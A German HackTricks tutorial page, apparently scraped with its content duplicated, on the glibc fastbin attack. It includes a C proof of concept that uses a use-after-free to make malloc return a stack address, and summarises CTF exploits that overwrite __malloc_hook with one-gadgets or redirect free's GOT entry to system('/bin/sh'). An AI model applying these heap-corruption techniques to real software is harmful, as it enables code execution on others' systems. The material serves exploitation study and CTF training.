Fast Bin Attack

Lernen und üben Sie AWS-Hacking: HackTricks Training AWS Red Team Expert (ARTE) Lernen und üben Sie GCP-Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Unterstützen Sie HackTricks

Überprüfen Sie die Abonnementpläne!
Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repositories senden.

Grundlegende Informationen

Für weitere Informationen darüber, was ein schneller Bin ist, überprüfen Sie diese Seite:

Bins & Memory Allocations

Da der schnelle Bin eine einfach verkettete Liste ist, gibt es viel weniger Schutzmaßnahmen als in anderen Bins und es reicht aus, eine Adresse in einem freigegebenen schnellen Bin-Chunk zu ändern, um später einen Chunk in einer beliebigen Speicheradresse zu allozieren.

Zusammenfassend:

ptr0 = malloc(0x20);
ptr1 = malloc(0x20);

// Put them in fast bin (suppose tcache is full)
free(ptr0)
free(ptr1)

// Use-after-free
// Modify the address where the free chunk of ptr1 is pointing
*ptr1 = (unsigned long)((char *)&<address>);

ptr2 = malloc(0x20); // This will get ptr1
ptr3 = malloc(0x20); // This will get a chunk in the <address> which could be abuse to overwrite arbitrary content inside of it

Sie können ein vollständiges Beispiel in einem sehr gut erklärten Code unter https://guyinatuxedo.github.io/28-fastbin_attack/explanation_fastbinAttack/index.html finden:

#include <stdio.h>
#include <string.h>
#include <stdlib.h>

int main(void)
{
puts("Today we will be discussing a fastbin attack.");
puts("There are 10 fastbins, which act as linked lists (they're separated by size).");
puts("When a chunk is freed within a certain size range, it is added to one of the fastbin linked lists.");
puts("Then when a chunk is allocated of a similar size, it grabs chunks from the corresponding fastbin (if there are chunks in it).");
puts("(think sizes 0x10-0x60 for fastbins, but that can change depending on some settings)");
puts("\nThis attack will essentially attack the fastbin by using a bug to edit the linked list to point to a fake chunk we want to allocate.");
puts("Pointers in this linked list are allocated when we allocate a chunk of the size that corresponds to the fastbin.");
puts("So we will just allocate chunks from the fastbin after we edit a pointer to point to our fake chunk, to get malloc to return a pointer to our fake chunk.\n");
puts("So the tl;dr objective of a fastbin attack is to allocate a chunk to a memory region of our choosing.\n");

puts("Let's start, we will allocate three chunks of size 0x30\n");
unsigned long *ptr0, *ptr1, *ptr2;

ptr0 = malloc(0x30);
ptr1 = malloc(0x30);
ptr2 = malloc(0x30);

printf("Chunk 0: %p\n", ptr0);
printf("Chunk 1: %p\n", ptr1);
printf("Chunk 2: %p\n\n", ptr2);


printf("Next we will make an integer variable on the stack. Our goal will be to allocate a chunk to this variable (because why not).\n");

int stackVar = 0x55;

printf("Integer: %x\t @: %p\n\n", stackVar, &stackVar);

printf("Proceeding that I'm going to write just some data to the three heap chunks\n");

char *data0 = "00000000";
char *data1 = "11111111";
char *data2 = "22222222";

memcpy(ptr0, data0, 0x8);
memcpy(ptr1, data1, 0x8);
memcpy(ptr2, data2, 0x8);

printf("We can see the data that is held in these chunks. This data will get overwritten when they get added to the fastbin.\n");

printf("Chunk 0: %s\n", (char *)ptr0);
printf("Chunk 1: %s\n", (char *)ptr1);
printf("Chunk 2: %s\n\n", (char *)ptr2);

printf("Next we are going to free all three pointers. This will add all of them to the fastbin linked list. We can see that they hold pointers to chunks that will be allocated.\n");

free(ptr0);
free(ptr1);
free(ptr2);

printf("Chunk0 @ 0x%p\t contains: %lx\n", ptr0, *ptr0);
printf("Chunk1 @ 0x%p\t contains: %lx\n", ptr1, *ptr1);
printf("Chunk2 @ 0x%p\t contains: %lx\n\n", ptr2, *ptr2);

printf("So we can see that the top two entries in the fastbin (the last two chunks we freed) contains pointers to the next chunk in the fastbin. The last chunk in there contains `0x0` as the next pointer to indicate the end of the linked list.\n\n");


printf("Now we will edit a freed chunk (specifically the second chunk \"Chunk 1\"). We will be doing it with a use after free, since after we freed it we didn't get rid of the pointer.\n");
printf("We will edit it so the next pointer points to the address of the stack integer variable we talked about earlier. This way when we allocate this chunk, it will put our fake chunk (which points to the stack integer) on top of the free list.\n\n");

*ptr1 = (unsigned long)((char *)&stackVar);

printf("We can see it's new value of Chunk1 @ %p\t hold: 0x%lx\n\n", ptr1, *ptr1);


printf("Now we will allocate three new chunks. The first one will pretty much be a normal chunk. The second one is the chunk which the next pointer we overwrote with the pointer to the stack variable.\n");
printf("When we allocate that chunk, our fake chunk will be at the top of the fastbin. Then we can just allocate one more chunk from that fastbin to get malloc to return a pointer to the stack variable.\n\n");

unsigned long *ptr3, *ptr4, *ptr5;

ptr3 = malloc(0x30);
ptr4 = malloc(0x30);
ptr5 = malloc(0x30);

printf("Chunk 3: %p\n", ptr3);
printf("Chunk 4: %p\n", ptr4);
printf("Chunk 5: %p\t Contains: 0x%x\n", ptr5, (int)*ptr5);

printf("\n\nJust like that, we executed a fastbin attack to allocate an address to a stack variable using malloc!\n");
}

Wenn es möglich ist, den Wert der globalen Variablen global_max_fast mit einer großen Zahl zu überschreiben, ermöglicht dies das Generieren von Fast Bin Chunks mit größeren Größen, was potenziell ermöglicht, Fast Bin Attacks in Szenarien durchzuführen, in denen dies zuvor nicht möglich war. Diese Situation ist nützlich im Kontext des large bin attack und unsorted bin attack.

Beispiele

CTF https://guyinatuxedo.github.io/28-fastbin_attack/0ctf_babyheap/index.html:
Es ist möglich, Chunks zuzuweisen, sie freizugeben, ihren Inhalt zu lesen und sie zu füllen (mit einer Überlaufschwachstelle).
Konsolidierung von Chunks für Infoleak: Die Technik besteht im Wesentlichen darin, den Überlauf zu missbrauchen, um eine gefälschte prev_size zu erstellen, sodass ein vorheriger Chunk in einen größeren Chunk gelegt wird. Wenn dann der größere Chunk allokiert wird, der einen anderen Chunk enthält, ist es möglich, dessen Daten zu drucken und eine Adresse an libc zu leaken (main_arena+88).
Überschreiben des malloc-Hooks: Durch Ausnutzen der vorherigen Überlappungssituation war es möglich, 2 Chunks zu haben, die auf denselben Speicher zeigten. Daher war es möglich, beide freizugeben (wobei ein anderer Chunk dazwischen freigegeben wurde, um Schutzmechanismen zu umgehen). Es war dann möglich, denselben Chunk zweimal im Fast Bin zu haben. Anschließend war es möglich, ihn erneut zuzuweisen, die Adresse zum nächsten Chunk zu überschreiben, um ein wenig vor __malloc_hook zu zeigen (damit es auf eine Ganzzahl zeigt, die malloc für eine freie Größe hält - ein weiterer Umgehungsweg), ihn erneut zuzuweisen und dann einen anderen Chunk zuzuweisen, der eine Adresse zu malloc-Hooks erhalten wird. Schließlich wurde ein one gadget dort geschrieben.
CTF https://guyinatuxedo.github.io/28-fastbin_attack/csaw17_auir/index.html:
Es gibt einen Heap-Überlauf und eine Verwendung nach Freigabe sowie eine doppelte Freigabe, da beim Freigeben eines Chunks die Zeiger wiederverwendet und erneut freigegeben werden können.
Libc-Infoleak: Einfach einige Chunks freigeben, und sie erhalten einen Zeiger auf einen Teil des Speicherbereichs der Hauptarena. Da freigegebene Zeiger wiederverwendet werden können, kann diese Adresse einfach gelesen werden.
Fast Bin Attack: Alle Zeiger auf die Allokationen werden in einem Array gespeichert, sodass wir ein paar Fast Bin Chunks freigeben und im letzten den Zeiger überschreiben können, um ein wenig vor dieses Array von Zeigern zu zeigen. Anschließend können ein paar Chunks mit derselben Größe allokiert werden, wobei wir zuerst den legitimen und dann den gefälschten erhalten, der das Array von Zeigern enthält. Wir können nun diese Allokationszeiger überschreiben, um die GOT-Adresse von free auf system zu setzen und dann "/bin/sh" in Chunk 1 zu schreiben, um dann free(chunk1) aufzurufen, was stattdessen system("/bin/sh") ausführt.
CTF https://guyinatuxedo.github.io/33-custom_misc_heap/csaw19_traveller/index.html
Ein weiteres Beispiel für den Missbrauch eines ein Byte Überlaufs, um Chunks im unsortierten Bin zu konsolidieren und ein libc-Infoleak zu erhalten und dann einen Fast Bin Attack durchzuführen, um den malloc-Hook mit einer One-Gadget-Adresse zu überschreiben.
CTF https://guyinatuxedo.github.io/33-custom_misc_heap/csaw18_alienVSsamurai/index.html
Nach einem Infoleak durch den Missbrauch des unsortierten Bins mit einem UAF, um eine libc-Adresse und eine PIE-Adresse zu leaken, verwendete das Exploit dieses CTF einen Fast Bin Attack, um einen Chunk an einem Ort zu allozieren, an dem die Zeiger auf kontrollierte Chunks lagen, sodass es möglich war, bestimmte Zeiger zu überschreiben, um ein One-Gadget in der GOT zu schreiben.
Sie können einen Fast Bin Attack missbraucht durch einen unsortierten Bin Attack finden:
Beachten Sie, dass es üblich ist, bevor Fast Bin Attacks durchgeführt werden, die Freelisten zu missbrauchen, um libc/Heap-Adressen zu leaken (wenn nötig).
Robot Factory. BlackHat MEA CTF 2022
Wir können nur Chunks der Größe größer als 0x100 allozieren.
Überschreiben Sie global_max_fast mit einem Unsorted Bin Attack (funktioniert 1/16 Mal aufgrund von ASLR, da wir 12 Bits ändern müssen, aber 16 Bits ändern müssen).
Fast Bin Attack, um ein globales Array von Chunks zu ändern. Dies ermöglicht ein beliebiges Lese-/Schreib-Primitive, mit dem die GOT geändert und eine Funktion so eingestellt werden kann, dass sie auf system zeigt.

Unsorted Bin Attack

Unterstützen Sie HackTricks

Überprüfen Sie die Abonnementpläne!
Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud Github-Repositories einreichen.

PreviousUnlink Attack NextUnsorted Bin Attack

Last updated 4 months ago

Grundlegende Informationen

Für weitere Informationen darüber, was ein schneller Bin ist, überprüfen Sie diese Seite:

Bins & Memory Allocations

Zusammenfassend:

ptr0 = malloc(0x20);
ptr1 = malloc(0x20);

// Put them in fast bin (suppose tcache is full)
free(ptr0)
free(ptr1)

// Use-after-free
// Modify the address where the free chunk of ptr1 is pointing
*ptr1 = (unsigned long)((char *)&<address>);

ptr2 = malloc(0x20); // This will get ptr1
ptr3 = malloc(0x20); // This will get a chunk in the <address> which could be abuse to overwrite arbitrary content inside of it

#include <stdio.h>
#include <string.h>
#include <stdlib.h>

int main(void)
{
puts("Today we will be discussing a fastbin attack.");
puts("There are 10 fastbins, which act as linked lists (they're separated by size).");
puts("When a chunk is freed within a certain size range, it is added to one of the fastbin linked lists.");
puts("Then when a chunk is allocated of a similar size, it grabs chunks from the corresponding fastbin (if there are chunks in it).");
puts("(think sizes 0x10-0x60 for fastbins, but that can change depending on some settings)");
puts("\nThis attack will essentially attack the fastbin by using a bug to edit the linked list to point to a fake chunk we want to allocate.");
puts("Pointers in this linked list are allocated when we allocate a chunk of the size that corresponds to the fastbin.");
puts("So we will just allocate chunks from the fastbin after we edit a pointer to point to our fake chunk, to get malloc to return a pointer to our fake chunk.\n");
puts("So the tl;dr objective of a fastbin attack is to allocate a chunk to a memory region of our choosing.\n");

puts("Let's start, we will allocate three chunks of size 0x30\n");
unsigned long *ptr0, *ptr1, *ptr2;

ptr0 = malloc(0x30);
ptr1 = malloc(0x30);
ptr2 = malloc(0x30);

printf("Chunk 0: %p\n", ptr0);
printf("Chunk 1: %p\n", ptr1);
printf("Chunk 2: %p\n\n", ptr2);


printf("Next we will make an integer variable on the stack. Our goal will be to allocate a chunk to this variable (because why not).\n");

int stackVar = 0x55;

printf("Integer: %x\t @: %p\n\n", stackVar, &stackVar);

printf("Proceeding that I'm going to write just some data to the three heap chunks\n");

char *data0 = "00000000";
char *data1 = "11111111";
char *data2 = "22222222";

memcpy(ptr0, data0, 0x8);
memcpy(ptr1, data1, 0x8);
memcpy(ptr2, data2, 0x8);

printf("We can see the data that is held in these chunks. This data will get overwritten when they get added to the fastbin.\n");

printf("Chunk 0: %s\n", (char *)ptr0);
printf("Chunk 1: %s\n", (char *)ptr1);
printf("Chunk 2: %s\n\n", (char *)ptr2);

printf("Next we are going to free all three pointers. This will add all of them to the fastbin linked list. We can see that they hold pointers to chunks that will be allocated.\n");

free(ptr0);
free(ptr1);
free(ptr2);

printf("Chunk0 @ 0x%p\t contains: %lx\n", ptr0, *ptr0);
printf("Chunk1 @ 0x%p\t contains: %lx\n", ptr1, *ptr1);
printf("Chunk2 @ 0x%p\t contains: %lx\n\n", ptr2, *ptr2);

printf("So we can see that the top two entries in the fastbin (the last two chunks we freed) contains pointers to the next chunk in the fastbin. The last chunk in there contains `0x0` as the next pointer to indicate the end of the linked list.\n\n");


printf("Now we will edit a freed chunk (specifically the second chunk \"Chunk 1\"). We will be doing it with a use after free, since after we freed it we didn't get rid of the pointer.\n");
printf("We will edit it so the next pointer points to the address of the stack integer variable we talked about earlier. This way when we allocate this chunk, it will put our fake chunk (which points to the stack integer) on top of the free list.\n\n");

*ptr1 = (unsigned long)((char *)&stackVar);

printf("We can see it's new value of Chunk1 @ %p\t hold: 0x%lx\n\n", ptr1, *ptr1);


printf("Now we will allocate three new chunks. The first one will pretty much be a normal chunk. The second one is the chunk which the next pointer we overwrote with the pointer to the stack variable.\n");
printf("When we allocate that chunk, our fake chunk will be at the top of the fastbin. Then we can just allocate one more chunk from that fastbin to get malloc to return a pointer to the stack variable.\n\n");

unsigned long *ptr3, *ptr4, *ptr5;

ptr3 = malloc(0x30);
ptr4 = malloc(0x30);
ptr5 = malloc(0x30);

printf("Chunk 3: %p\n", ptr3);
printf("Chunk 4: %p\n", ptr4);
printf("Chunk 5: %p\t Contains: 0x%x\n", ptr5, (int)*ptr5);

printf("\n\nJust like that, we executed a fastbin attack to allocate an address to a stack variable using malloc!\n");
}

Beispiele

CTF https://guyinatuxedo.github.io/28-fastbin_attack/0ctf_babyheap/index.html:

Es ist möglich, Chunks zuzuweisen, sie freizugeben, ihren Inhalt zu lesen und sie zu füllen (mit einer Überlaufschwachstelle).

Konsolidierung von Chunks für Infoleak: Die Technik besteht im Wesentlichen darin, den Überlauf zu missbrauchen, um eine gefälschte prev_size zu erstellen, sodass ein vorheriger Chunk in einen größeren Chunk gelegt wird. Wenn dann der größere Chunk allokiert wird, der einen anderen Chunk enthält, ist es möglich, dessen Daten zu drucken und eine Adresse an libc zu leaken (main_arena+88).

Überschreiben des malloc-Hooks: Durch Ausnutzen der vorherigen Überlappungssituation war es möglich, 2 Chunks zu haben, die auf denselben Speicher zeigten. Daher war es möglich, beide freizugeben (wobei ein anderer Chunk dazwischen freigegeben wurde, um Schutzmechanismen zu umgehen). Es war dann möglich, denselben Chunk zweimal im Fast Bin zu haben. Anschließend war es möglich, ihn erneut zuzuweisen, die Adresse zum nächsten Chunk zu überschreiben, um ein wenig vor __malloc_hook zu zeigen (damit es auf eine Ganzzahl zeigt, die malloc für eine freie Größe hält - ein weiterer Umgehungsweg), ihn erneut zuzuweisen und dann einen anderen Chunk zuzuweisen, der eine Adresse zu malloc-Hooks erhalten wird. Schließlich wurde ein one gadget dort geschrieben.

CTF https://guyinatuxedo.github.io/28-fastbin_attack/csaw17_auir/index.html:

Es gibt einen Heap-Überlauf und eine Verwendung nach Freigabe sowie eine doppelte Freigabe, da beim Freigeben eines Chunks die Zeiger wiederverwendet und erneut freigegeben werden können.

Libc-Infoleak: Einfach einige Chunks freigeben, und sie erhalten einen Zeiger auf einen Teil des Speicherbereichs der Hauptarena. Da freigegebene Zeiger wiederverwendet werden können, kann diese Adresse einfach gelesen werden.

Fast Bin Attack: Alle Zeiger auf die Allokationen werden in einem Array gespeichert, sodass wir ein paar Fast Bin Chunks freigeben und im letzten den Zeiger überschreiben können, um ein wenig vor dieses Array von Zeigern zu zeigen. Anschließend können ein paar Chunks mit derselben Größe allokiert werden, wobei wir zuerst den legitimen und dann den gefälschten erhalten, der das Array von Zeigern enthält. Wir können nun diese Allokationszeiger überschreiben, um die GOT-Adresse von free auf system zu setzen und dann "/bin/sh" in Chunk 1 zu schreiben, um dann free(chunk1) aufzurufen, was stattdessen system("/bin/sh") ausführt.

CTF https://guyinatuxedo.github.io/33-custom_misc_heap/csaw19_traveller/index.html

Ein weiteres Beispiel für den Missbrauch eines ein Byte Überlaufs, um Chunks im unsortierten Bin zu konsolidieren und ein libc-Infoleak zu erhalten und dann einen Fast Bin Attack durchzuführen, um den malloc-Hook mit einer One-Gadget-Adresse zu überschreiben.

CTF https://guyinatuxedo.github.io/33-custom_misc_heap/csaw18_alienVSsamurai/index.html

Nach einem Infoleak durch den Missbrauch des unsortierten Bins mit einem UAF, um eine libc-Adresse und eine PIE-Adresse zu leaken, verwendete das Exploit dieses CTF einen Fast Bin Attack, um einen Chunk an einem Ort zu allozieren, an dem die Zeiger auf kontrollierte Chunks lagen, sodass es möglich war, bestimmte Zeiger zu überschreiben, um ein One-Gadget in der GOT zu schreiben.

Sie können einen Fast Bin Attack missbraucht durch einen unsortierten Bin Attack finden:

Beachten Sie, dass es üblich ist, bevor Fast Bin Attacks durchgeführt werden, die Freelisten zu missbrauchen, um libc/Heap-Adressen zu leaken (wenn nötig).

Robot Factory. BlackHat MEA CTF 2022

Wir können nur Chunks der Größe größer als 0x100 allozieren.

Überschreiben Sie global_max_fast mit einem Unsorted Bin Attack (funktioniert 1/16 Mal aufgrund von ASLR, da wir 12 Bits ändern müssen, aber 16 Bits ändern müssen).

Fast Bin Attack, um ein globales Array von Chunks zu ändern. Dies ermöglicht ein beliebiges Lese-/Schreib-Primitive, mit dem die GOT geändert und eine Funktion so eingestellt werden kann, dass sie auf system zeigt.

Unsorted Bin Attack